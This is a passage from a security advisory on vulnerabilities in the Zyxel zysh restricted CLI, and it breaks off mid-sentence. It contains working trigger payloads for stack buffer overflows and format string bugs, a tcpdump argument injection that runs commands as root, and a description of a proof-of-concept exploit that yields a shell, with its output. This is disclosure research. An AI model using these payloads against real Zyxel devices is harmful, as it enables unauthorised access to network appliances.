interface (CLI) on multiple Zyxel [0] products. All regular user accounts 66 | have an /etc/passwd entry similar to the following: 67 | 68 | admin:x:10007:10000:Administration account...:/etc/zyxel/ftp:/bin/zysh 69 | 70 | Only the root user and the reserved debug account, disabled by default, 71 | have access to a proper bash shell: 72 | 73 | root:x:0:0:root&admin&120&120&480&480&1&0:/root:/bin/bash 74 | ... 75 | debug:!:0:0:Debug Account:/root:/bin/bash 76 | 77 | The Zyxel CLI can be accessed via SSH as follows: 78 | 79 | raptor@blumenkraft ~ % ssh -l admin 80 | (admin@) Password: 81 | Router> # hello zysh! 82 | 83 | On our Zyxel USG20-VPN test device, the CLI can also be accessed via Telnet 84 | (not enabled by default) or via the so-called Web Console, implemented with 85 | WebSockets, that is reachable with a web browser after authentication, at a 86 | URL such as the following: 87 | 88 | https:///webconsole/ 89 | 90 | In the context of a wider audit of the security posture of Zyxel devices 91 | [1], we decided to audit zysh with the primary goal of escaping the 92 | restricted shell environment and executing arbitrary commands on the 93 | underlying embedded Linux OS. It is pretty large for a dynamically-linked, 94 | stripped binary (~19MB) and it makes plenty of unsafe API function calls, 95 | which makes it an interesting target. 96 | 97 | 98 | --[ 3 - Vulnerabilities 99 | 100 | During our audit of the zysh binary, we identified the following 101 | vulnerabilities: 102 | 103 | * Multiple stack-based buffer overflows in the code responsible for 104 | handling diagnostic tests ("configure terminal > diagnostic" command). 105 | * A stack-based buffer overflow in the "debug" command. 106 | * A stack-based buffer overflow in the "ssh" command. 107 | * Multiple format string bugs in the "extension" argument of the "ping", 108 | "ping6", "traceroute", "traceroute6", "nslookup", and "nslookup6" 109 | commands. 110 | * An OS command injection vulnerability in the "packet-trace" command. 111 | 112 | All buffer overflows can be triggered only by admin users, while the format 113 | string bugs and the command injection vulnerability are exploitable by 114 | authenticated users of either admin or limited-admin type. 115 | 116 | 117 | --[ 4 - Analysis 118 | 119 | To follow along with our detailed vulnerability analysis, you can download 120 | the Zyxel Firmware 5.10 for "USG20-VPN - ABAQ - Non-Wireless Edition" 121 | (USG20-VPN_5.10.zip [2]). Extract the ZIP archive, then extract the 122 | password-protected ZIP archive 510ABAQ0C0.bin contained within, using the 123 | following password [1]: 124 | 125 | 4ulPPIs94jnYwUfwwoTqz/a5eRHFRwNYq8zFTrQZaE7XkoTgdzWc.6jea1v1zJb 126 | 127 | Finally, extract the Squashfs filesystem image with binwalk or a similar 128 | tool, e.g.: 129 | 130 | raptor@blumenkraft 510ABAQ0C0 % binwalk -e compress.img 131 | 132 | The target binary we will reference throughout our analysys is /bin/zysh, 133 | available in the extracted filesystem: 134 | 135 | raptor@blumenkraft bin % ls -l zysh 136 | -rwxr-xr-x 1 raptor staff 19727292 Sep 23 18:33 zysh* 137 | raptor@blumenkraft bin % shasum -a 256 zysh 138 | 47ee711a817e33bb2809e91d76b512498ae3cdca1276a2385f404384547404e3 zysh 139 | raptor@blumenkraft bin % file zysh 140 | zysh: ELF 32-bit MSB executable, MIPS, N32 MIPS64 rel2 version 1 (SYSV), 141 | dynamically linked, interpreter /lib32/ld.so.1, for GNU/Linux 2.6.9, 142 | stripped 143 | 144 | You can easily import it in your favorite disassembler. In Ghidra, we had 145 | to manually tweak the import options to reflect that the binary was 146 | compiled for the N32 ABI [3], importing it as "MIPS:BE:64:64-32addr:n32". 147 | The same requirement holds for any other binaries compiled for the Cavium 148 | Octeon III processor, on which our Zyxel USG20-VPN test device is based. 149 | 150 | 151 | --[ 4.1 - Buffer overflows in the "configure terminal > diagnostic" command 152 | 153 | The first buffer overflow vulnerability we identified is located in the 154 | function at 0x1013b238, which we dubbed do_emtap(): 155 | 156 | undefined8 do_emtap(longlong argc, char **argv) 157 | { 158 | ... 159 | char acStack305[129]; 160 | ... 161 | else { 162 | uVar1 = 1; 163 | if (argc == 3) { 164 | sprintf(acStack305 + 1, "t%s.sh", argv[2]); /* VULN #1 */ 165 | pcVar4 = argv[1]; 166 | do_emtap_test(pcVar4, acStack305 + 1); 167 | do_emtap_test2(pcVar4, acStack305 + 1); 168 | report_test(); 169 | uVar1 = 0; 170 | } 171 | } 172 | return uVar1; 173 | } 174 | 175 | This function is called when an admin user invokes the diagnostic test 176 | functionality in the Zyxel CLI with two arguments, e.g.: 177 | 178 | Router> configure terminal 179 | Router(config)# diagnostic test 180 | 181 | The buffer overflow happens due to the unsafe sprintf() call marked with 182 | the "VULN #1" comment above, which overflows past the boundary of the 183 | acStack305 array allocated on the stack with the contents of the 184 | argument. 185 | 186 | Upon exploitation, however, the return statement at 0x1013b2f4 is never 187 | reached, because the overflow propagates to the other functions that are 188 | called by do_emtap(), which we dubbed do_emtap_test() and do_emtap_test2() 189 | in the pseudo-code above. More precisely, another overflow happens at the 190 | sprintf() call below marked as "VULN #2", located in the do_emtap_test() 191 | function at 0x1013a8f8. This overflow enables us to gain control over the 192 | pc register when do_emtap_test() returns: 193 | 194 | int do_emtap_test(char *test_name, char *test_num) 195 | { 196 | ... 197 | char acStack320[128]; 198 | char acStack192[128]; 199 | ... 200 | sprintf(acStack320, "%s/%s", "/tmp/tap", test_name); /* VULN #3 */ 201 | mkdir(acStack320, 0x1c0); 202 | sprintf(acStack192, "%s/%s/%s", "/usr/local/emtap/test_script", 203 | test_name, test_num); /* VULN #2 */ 204 | iVar1 = access(acStack192, 0); 205 | if (iVar1 != 0) { 206 | return 1; 207 | } 208 | ... 209 | } 210 | 211 | The unsafe sprintf() call overflows past the boundary of the acStack192 212 | array. When do_emtap_test() returns, we are able hijack the control flow. 213 | However, we can only use numeric characters in our hostile buffer, 214 | therefore exploitation is extremely unlikely, if at all possible. The 215 | overflow can be triggered with the following payload: 216 | 217 | Router> configure terminal 218 | Router(config)# diagnostic test anything 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 219 | Program received signal SIGBUS, Bus error. 220 | 0x31313130 in ?? () 221 | 222 | A slightly better opportunity for exploitation is represented by another 223 | stack-based buffer overflow in the above function, marked with the "VULN 224 | #3" comment. This specific overflow can be triggered with the following 225 | payload: 226 | 227 | Router> configure terminal 228 | Router(config)# diagnostic test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 1 229 | Program received signal SIGBUS, Bus error. 230 | 0x41414140 in ?? () 231 | 232 | This time, our hostile buffer can contain alphanumeric characters in the 233 | range [a-zA-Z0-9], plus the underscore '_'. Still far from ideal, but 234 | definitely better than the previously identified exploitation vector. 235 | 236 | A similar vector is provided by yet another stack-based buffer overflow, 237 | this time in the function located at 0x1013ada0, which we dubbed 238 | do_emtap_test3(): 239 | 240 | undefined8 do_emtap_test3(char *test_name) 241 | { 242 | ... 243 | char acStack288[127]; 244 | ... 245 | sprintf(acStack288, "%s %s/%s | %s -E \'t[0-9]+\\.sh\' > %s", "/bin/ls", 246 | "/usr/local/emtap/test_script", test_name, "/bin/grep", 247 | "/tmp/tap/test_case_dir.tmp"); /* VULN #4 */ 248 | system(acStack288); 249 | ... 250 | sprintf(acStack288, "%s %s", "/bin/rm", "/tmp/tap/test_case_dir.tmp"); 251 | system(acStack288); 252 | return 0; 253 | } 254 | ... 255 | } 256 | 257 | This function is called when an admin user invokes the diagnostic test 258 | functionality in the Zyxel CLI with only one argument, e.g.: 259 | 260 | Router> configure terminal 261 | Router(config)# diagnostic test 262 | 263 | This time, the unsafe sprintf() call marked with the "VULN #4" comment 264 | overflows past the boundary of the acStack288 array. By exploiting this 265 | overflow, we can once again overwrite the pc register and hijack the 266 | control flow. In order to trigger this overflow, the following payload can 267 | be used: 268 | 269 | Router> configure terminal 270 | Router(config)# diagnostic test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 271 | /bin/ls: cannot access /usr/local/emtap/test_script/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directory 272 | Program received signal SIGBUS, Bus error. 273 | 0x41414140 in ?? () 274 | 275 | In the mentioned functions, including the one located at 0x1013aa10 that we 276 | dubbed do_emtap_test2() and that is not immediately reachable via the 277 | codepaths triggered by our hostile inputs, there are other instances of 278 | buffer overflow caused by the unchecked use of unsafe API functions, such 279 | as sprintf() and strcpy(). We have not deeply investigated their actual 280 | reachability, but they should be fixed as well. In addition, many unsafe 281 | programming constructs are present in the rest of the binary. 282 | 283 | 284 | --[ 4.2 - Buffer overflow in the "debug" command 285 | 286 | The buffer overflow vulnerability we identified in the code responsible for 287 | handling the "debug" command is located in the function at 0x1000df70, 288 | which we dubbed do_debug(). 289 | 290 | It is a pretty long function that gets called when an admin (or in some 291 | cases a limited-admin) user invokes the debug functionality in the Zyxel 292 | CLI, e.g.: 293 | 294 | Router> debug 295 | 296 | To trigger the overflow, the following payload can be used: 297 | 298 | Router> debug gui webhelp redirect AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 299 | Router> debug gui show webhelp redirect 300 | Program received signal SIGBUS, Bus error. 301 | 0x41414140 in ?? () 302 | 303 | The first command writes a long string in the /tmp/webhelppath file: 304 | 305 | int do_debug(ulonglong argc, char **argv) 306 | { 307 | ... 308 | case 0x155: 309 | if (DAT_1145e55c != 0x150) { 310 | return 0; 311 | } 312 | pcVar11 = "/tmp/webhelppath"; 313 | if (DAT_1145e564 != 0x154) { 314 | return 0; 315 | } 316 | LAB_1000ebdc: 317 | pFVar12 = fopen64(pcVar11, "w"); /* open file */ 318 | ... 319 | fputs(argv[4], pFVar12); /* write string to file */ 320 | fclose(pFVar12); 321 | return 0; 322 | } 323 | 324 | The second command triggers the overflow by reading from the 325 | /tmp/webhelppath file: 326 | 327 | int do_debug(ulonglong argc, char **argv) 328 | { 329 | ... 330 | undefined8 local_e0; 331 | ... 332 | if (lVar24 == 0x155) { 333 | pFVar12 = fopen64("/tmp/webhelppath", "r"); 334 | ... 335 | __isoc99_fscanf(pFVar12, "%s", &local_e0); /* VULN #5 */ 336 | fclose(pFVar12); 337 | fwrite(&DAT_1013fe18, 1, 9, stdout); 338 | puVar22 = &local_e0; 339 | pcVar11 = "Webhelp redirect: %s\n"; 340 | } 341 | LAB_1000f7d0: 342 | fprintf(stdout, pcVar11, puVar22); 343 | fwrite(&DAT_1013fe48, 1, 2, stdout); 344 | return 0; 345 | } 346 | 347 | The vulnerability lies in the use of the unsafe __isoc99_fscanf() API 348 | function, which does not check if the destination string is large enough to 349 | accommodate the whole source string. This allows us to overwrite the saved 350 | return address and hijack the control flow. Our hostile buffer is limited 351 | to a length of 255 bytes and can contain only alphanumeric characters in 352 | the range [a-zA-Z0-9], plus the underscore '_', dash '-', and dot '.' 353 | special characters. 354 | 355 | A similar bug can be triggered with the "debug gui kb redirect" and "debug 356 | gui show kb redirect" command combination. However, in this case, the 357 | destination buffer is too far away from the location where the return 358 | address is saved on the stack, therefore we cannot exploit this bug to 359 | control the pc register. We do not exclude other ways to exploit this 360 | vulnerability. 361 | 362 | 363 | --[ 4.3 - Buffer overflow in the "ssh" command 364 | 365 | The buffer overflow vulnerability we identified in the code responsible for 366 | handling the "ssh" command is located in the function at 0x10012298, which 367 | we dubbed do_ssh(): 368 | 369 | undefined8 do_ssh(int argc, char **argv) 370 | { 371 | ... 372 | char acStack336[300]; 373 | ... 374 | sprintf(acStack336, "/usr/bin/ssh -o UserKnownHostsFile=/dev/null %s", 375 | argv[1]); /* VULN #5 */ 376 | ... 377 | sVar4 = strlen(acStack336); 378 | sprintf(acStack336 + sVar4, " -p %s", *(undefined4 *)((int)argv + 379 | iVar2)); /* VULN #6 */ 380 | ... 381 | } 382 | 383 | You know the gist by now: there are two stack-based buffer overflows caused 384 | by the unchecked use of the unsafe API function sprintf(). To trigger the 385 | first overflow the following payload can be used, as an authenticated admin 386 | or limited-admin user: 387 | 388 | Router> ssh AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@127.0.0.1 389 | The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. 390 | RSA key fingerprint is SHA256:fzNloEaOsmNQLHbhjroUVHkJC9ZTH09A6TRjyK+oiys. 391 | Are you sure you want to continue connecting (yes/no/[fingerprint])? yes 392 | Warning: Permanently added '127.0.0.1' (RSA) to the list of known hosts. 393 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@127.0.0.1's password: 394 | [press enter a few times] 395 | Program received signal SIGBUS, Bus error. 396 | 0x41414140 in ?? () 397 | 398 | Once again, our hostile buffer can contain only alphanumeric characters, 399 | plus some special characters. As a side note, we noticed that we can inject 400 | arguments that get passed to the underlying /usr/bin/ssh command, albeit 401 | with some limitations: 402 | 403 | Router> ssh -@127.0.0.1 404 | unknown option -- @ 405 | usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface] 406 | [-b bind_address] [-c cipher_spec] [-D [bind_address:]port] 407 | [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11] 408 | [-i identity_file] [-J [user@]host[:port]] [-L address] 409 | [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port] 410 | [-Q query_option] [-R address] [-S ctl_path] [-W host:port] 411 | [-w local_tun[:remote_tun]] destination [command] 412 | 413 | Based on our analysis, this lack of input filtering is not exploitable to 414 | inject interesting command-line arguments (e.g. "-o ProxyCommand=..."): 415 | 416 | Router> ssh -oProxyCommand@127.0.0.1 417 | command-line: line 0: Bad configuration option: proxycommand@127.0.0.1 418 | Router> ssh -oProxyCommand=@127.0.0.1 419 | % (after 'ssh'): Parse error 420 | retval = -1 421 | ERROR: Parse error/command not found! 422 | 423 | --[ 4.4 - Format string bugs in the "extension" argument of some commands 424 | 425 | Some zysh commands implement a special "extension" argument that allows to 426 | specify arbitrary command-line arguments to be passed to the invoked OS 427 | command that underlies each functionality: 428 | 429 | Router> ping 127.0.0.1 430 | ; 431 | 432 | count 433 | extension 434 | forever 435 | interface 436 | size 437 | source 438 | | 439 | 440 | For instance, if we enter the following zysh command: 441 | 442 | Router> ping 127.0.0.1 extension -c 1 443 | 444 | The OS command line below will be executed via the function located at 445 | 0x101295d0, which we dubbed my_invoke(): 446 | 447 | $ /bin/zysudo.suid /bin/ping 1.1.1.1 -n -c 3 -c 1 448 | 449 | As you can see, the additional arguments we specified after the "extension" 450 | keyword are appended to the OS command line. 451 | 452 | We identified format string bugs in the following zysh commands: 453 | 454 | * "ping" and "ping6" commands, handled by the function at 0x1000c0a0, which 455 | we dubbed do_ping(). 456 | * "traceroute" and "traceroute6" commands, handled by the function at 457 | 0x1000bc58, which we dubbed do_traceroute(). 458 | * "nslookup" and "nslookup6" commands, handled by the function at 459 | 0x1000c718, which we dubbed do_nslookup(). 460 | 461 | The relevant pseudo-code snippets are: 462 | 463 | undefined8 do_ping(int argc, char **argv, char *cmd) 464 | { 465 | ... 466 | if (iVar9 != 0) { 467 | sVar5 = strlen(acStack880); 468 | pcVar1 = ppcStack96[iVar9 + 1]; 469 | acStack880[sVar5] = ' '; 470 | acStack880[sVar5 + 1] = '\0'; 471 | strcpy(acStack880 + sVar5 + 1, pcVar1); /* append extension args */ 472 | } 473 | if (iVar8 == 0) { 474 | sprintf(acStack4976, acStack880); /* VULN: format string bug */ 475 | __pid = fork(); 476 | ... 477 | } 478 | 479 | undefined8 do_traceroute(int argc, char **argv, char *cmd) 480 | { 481 | ... 482 | if (iVar10 != 0) { 483 | sVar6 = strlen(acStack864); 484 | pcVar2 = argv[iVar10 + 1]; 485 | acStack864[sVar6] = ' '; 486 | acStack864[sVar6 + 1] = '\0'; 487 | strcpy(acStack864 + sVar6 + 1, pcVar2); /* append extension args */ 488 | } 489 | ... 490 | LAB_1000be10: 491 | sprintf(acStack4960,acStack864); /* VULN: format string bug */ 492 | __pid = fork(); 493 | ... 494 | } 495 | 496 | undefined8 do_nslookup(int argc, char **argv) 497 | { 498 | ... 499 | pcVar4 = stpcpy((char *)((int)&uStack832 + sVar3 + 1), 500 | *(char **)((int)argv + iVar2)); 501 | if (iVar8 != 0) { 502 | pcVar4[1] = '\0'; 503 | *pcVar4 = ' '; 504 | strcpy(pcVar4 + 1, argv[iVar8 + 1]); /* append extension args */ 505 | } 506 | ... 507 | sprintf(acStack4928, (char *)&uStack832); /* VULN: format string bug */ 508 | __pid = fork(); 509 | ... 510 | } 511 | 512 | As a side note, in the "nslookup" and "nslookup6" commands there is also a 513 | bonus stack-based buffer overflow that is not large enough to reach the 514 | saved return address. It can be reproduced with the following payload: 515 | 516 | Router> nslookup AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA server AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA extension AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 517 | Program received signal SIGBUS, Bus error. 518 | 0x1000ba10 in _ftext () 519 | (gdb) x/i $pc 520 | => 0x1000ba10 <_ftext+17776>: lw v1,-10184(s0) 521 | (gdb) i r s0 522 | s0: 0x4141414141414141 523 | 524 | To reproduce the format string bugs and leak stack memory contents or crash 525 | zysh, instead, the following payloads can be used: 526 | 527 | Router> # stack memory leak 528 | Router> ping 127.0.0.1 extension %x%x%x%x 529 | ping: unknown host 6eb83a7580808080fefeff001145e560 530 | Router> # crash 531 | Router> ping 127.0.0.1 extension %n%n%n%n 532 | Program received signal SIGSEGV, Segmentation fault. 533 | 0x77bf6768 in vfprintf () from /lib32/libc.so.6 534 | (gdb) bt 535 | #0 0x77bf6768 in vfprintf () from /lib32/libc.so.6 536 | #1 0x77c14f44 in vsprintf () from /lib32/libc.so.6 537 | #2 0x77bfd980 in sprintf () from /lib32/libc.so.6 538 | #3 0x1000c38c in _ftext () << do_ping() 539 | ... 540 | Router> # crash 541 | Router> ping6 ::1 extension %n%n%n%n 542 | Program received signal SIGSEGV, Segmentation fault. 543 | 0x77bf6768 in vfprintf () from /lib32/libc.so.6 544 | 545 | Router> # crash 546 | Router> traceroute 127.0.0.1 extension %n%n%n%n 547 | Program received signal SIGSEGV, Segmentation fault. 548 | 0x77bf6768 in vfprintf () from /lib32/libc.so.6 549 | (gdb) bt 550 | #0 0x77bf6768 in vfprintf () from /lib32/libc.so.6 551 | #1 0x77c14f44 in vsprintf () from /lib32/libc.so.6 552 | #2 0x77bfd980 in sprintf () from /lib32/libc.so.6 553 | #3 0x1000be18 in _ftext () << do_traceroute() 554 | ... 555 | Router> # crash 556 | Router> traceroute6 ::1 extension %n%n%n%n 557 | Program received signal SIGSEGV, Segmentation fault. 558 | 0x77bf6768 in vfprintf () from /lib32/libc.so.6 559 | 560 | Router> # stack memory leak 561 | Router> nslookup 127.0.0.1 extension %x%x%x%x 562 | Using domain server: 563 | Name: 127.0.0.1 564 | Address: 127.0.0.1#53 565 | Aliases: 566 | 567 | Host 0bd01390 not found: 3(NXDOMAIN) 568 | Router> # crash 569 | Router> nslookup 127.0.0.1 extension %n%n%n%n 570 | 571 | Program received signal SIGSEGV, Segmentation fault. 572 | 0x77bf6768 in vfprintf () from /lib32/libc.so.6 573 | (gdb) bt 574 | #0 0x77bf6768 in vfprintf () from /lib32/libc.so.6 575 | #1 0x77c14f44 in vsprintf () from /lib32/libc.so.6 576 | #2 0x77bfd980 in sprintf () from /lib32/libc.so.6 577 | #3 0x1000c8c0 in _ftext () << do_nslookup() 578 | ... 579 | Router> # crash 580 | Router> nslookup6 ::1 extension %n%n%n%n 581 | Program received signal SIGSEGV, Segmentation fault. 582 | 0x77bf6768 in vfprintf () from /lib32/libc.so.6 583 | 584 | We just confirmed that we control the format strings passed as argument to 585 | the sprintf() API function in different locations of our target binary. 586 | 587 | 588 | --[ 4.5 - OS command injection in the "packet-trace" command 589 | 590 | The OS command injection we identified in the code responsible for handling 591 | the "packet-trace" command is located in the function at 0x10010258, which 592 | we dubbed do_packet-trace(). 593 | 594 | This function builds the command line for the /usr/sbin/tcpdump binary, 595 | based on the arguments with which the "packet-trace" command is invoked. 596 | The available arguments are: 597 | 598 | Router# packet-trace 599 | ; 600 | 601 | dst-host 602 | duration 603 | extension-filter 604 | file 605 | interface 606 | ip-proto 607 | ipv6-proto 608 | port 609 | src-host 610 | | 611 | 612 | The "extension-filter" argument is particularly interesting, because it 613 | allows to specify additional arbitrary command-line arguments to be passed 614 | to tcpdump. For instance, if we enter the following zysh command: 615 | 616 | Router# packet-trace extension-filter -ln -i lo -w -a -W 1 -G 1 -z id 617 | 618 | The OS command line below will be executed via the function located at 619 | 0x101295d0, which we dubbed my_invoke(): 620 | 621 | $ /usr/sbin/tcpdump -n -i eth0 -ln -i lo -w -a -W 1 -G 1 -z id 622 | 623 | As you can see, we are using a variation of a well-known GTFOBins payload 624 | [4] that allows us to execute the following OS command (yes, command-line 625 | switches that begin with a '-' are accepted): 626 | 627 | $ id -a 628 | 629 | Refer to the manual page of tcpdump [5] for further details on how each 630 | command-line switch is interpreted. Seeing it all in action from the Web 631 | Console, as an authenticated admin or limited-admin user: 632 | 633 | Router# packet-trace extension-filter -ln -i lo -w -a -W 1 -G 1 -z id 634 | tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 65535 bytes 635 | Maximum file limit reached: 1 636 | 1 packet captured 637 | 2 packets received by filter 638 | 0 packets dropped by kernel 639 | uid=0(root) gid=0(root) groups=0(root) 640 | 641 | We got arbitrary command execution as root! We just need to find a way to 642 | exploit it to escape the restricted shell environment. 643 | 644 | 645 | --[ 5 - Exploitation 646 | 647 | In the following sections, we will discuss exploitation of the identified 648 | vulnerabilities. 649 | 650 | 651 | --[ 5.1 - Buffer overflows 652 | 653 | The zysh binary is in a sorry state when it comes to modern countermeasures 654 | against exploitation of memory corruption bugs: 655 | 656 | * No RELRO 657 | * No stack canary 658 | * NX disabled 659 | * No PIE 660 | * Has RWX segments 661 | 662 | That said, it looks like the buffer overflow vulnerabilities described in 663 | this advisory cannot be exploited to achieve arbitrary code execution after 664 | all, despite our gut feeling... In summary: 665 | 666 | * MIPS alphanumeric shellcode is not a thing [6]. 667 | * A pure ROP chain is also not feasible, at least with the memory mapping 668 | used by the device and firmware version combination that we could test. 669 | 670 | We can solve the first problem by storing our shellcode (along with a 671 | copious number of NOP-equivalent opcodes) in the value of the TERM 672 | environment variable that gets passed to the remote system via sshd (or 673 | in.telnetd). At this point, we still need to be able to overwrite the 674 | stored return address with a value that points to our NOP sled and 675 | shellcode payload, though. Unfortunately, a partial overwrite would not 676 | work in this case, because our target architecture is big endian and 677 | therefore we would only be able to overwrite the most significant byte(s), 678 | achieving nothing of note. On a device and firmware combination with a 679 | slightly different memory mapping, however, we might be able to pull this 680 | off and hijack the control flow. 681 | 682 | We are not well-versed in the fine and obscure art of MIPS shellcoding and 683 | exploitation, so we might have missed something. Feel free to try this 684 | challenge on your own! 685 | 686 | As a final note, we also looked into the possibility to exploit the many 687 | unsafe calls to system() present in the code in order to inject arbitrary 688 | OS commands. However, we could not slip past the pretty aggressive input 689 | filters implemented by zysh. Too bad. 690 | 691 | 692 | --[ 5.2 - Format string bugs 693 | 694 | As discussed earlier, we control the format strings passed as argument to 695 | the sprintf() API function in different locations of our target binary. As 696 | a proof of concept, this allowed us to leak stack memory contents and crash 697 | zysh. 698 | 699 | It is now time to see if we are able to exploit the identified format 700 | string bugs to execute arbitrary code and escape the restricted shell 701 | environment... At first glance, this does not look feasible, because once 702 | again we are limited in the characters that we can use in our hostile 703 | buffer (alphanumeric characters plus some special characters in the 7-bit 704 | ASCII set). 705 | 706 | However, we devised a workaround: instead of placing our retloc addresses 707 | at the beginning of the hostile format string as is customary, we can 708 | inject them in the process memory via the TERM environment variable! The 709 | direct parameter access feature of glibc, together with our very own format 710 | string exploitation technique for RISC architectures [7], will do the rest. 711 | 712 | Long story short, we put together a proof-of-concept exploit [8] that does 713 | the following: 714 | 715 | * Authenticate and access the target zysh via SSH, injecting our payload 716 | (retloc sled + NOP sled + shellcode + padding) via the TERM environment 717 | variable. 718 | 719 | * Leak a stack address via the format string bug in the "ping" command, and 720 | use it to calculate the address of our injected shellcode near the bottom 721 | of the stack, which changes slightly at each zysh execution. 722 | 723 | * Craft another hostile format string to use as an argument to the "ping" 724 | command and overwrite the .got entry of fork(), which gets called right 725 | after the vulnerable sprintf(), with the shellcode address, using a 726 | variation of our write-one-byte-at-a-time technique designed for RISC 727 | architectures such as MIPS and SPARC. 728 | 729 | * Interact with the spawned bash shell! 730 | 731 | We initially thought that Python/Paramiko would be a good language choice 732 | for the implementation, but we quickly changed our mind. In the end, we 733 | decided to go full old-school and developed our exploit in Tcl/Expect. 734 | Here it is in action: 735 | 736 | raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp admin password 737 | raptor_zysh_fhtagn.exp - zysh format string PoC exploit 738 | Copyright (c) 2022 Marco Ivaldi 739 | 740 | Leaked stack address: 0x7fe97170 741 | Shellcode address: 0x7fe9de40 742 | Base string length: 46 743 | Hostile format string: %.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn 744 | 745 | *** enjoy your shell! *** 746 | 747 | sh-5.1$ uname -snrmp 748 | Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0 749 | sh-5.1$ id 750 | uid=10007(admin) gid=10000(operator) groups=10000(operator) 751 | 752 | Once we have access to a bash shell on the underlying embedded Linux OS, it 753 | should be pretty easy to escalate privileges to root, by leveraging local 754 | vulnerabilities [1]. 755 | 756 | It should not be too hard to automate/weaponize our exploit to make it work 757 | against other targets. This is left as an exercise. 758 | 759 | In conclusion, format string bugs are a powerful exploit primitive, one of 760 | our favorites. Once again, they proved to be up to the task even in a 761 | constrained scenario such as the one we described. 762 | 763 | 764 | --[ 5.3 - OS command injection 765 | 766 | We managed to find a way to execute 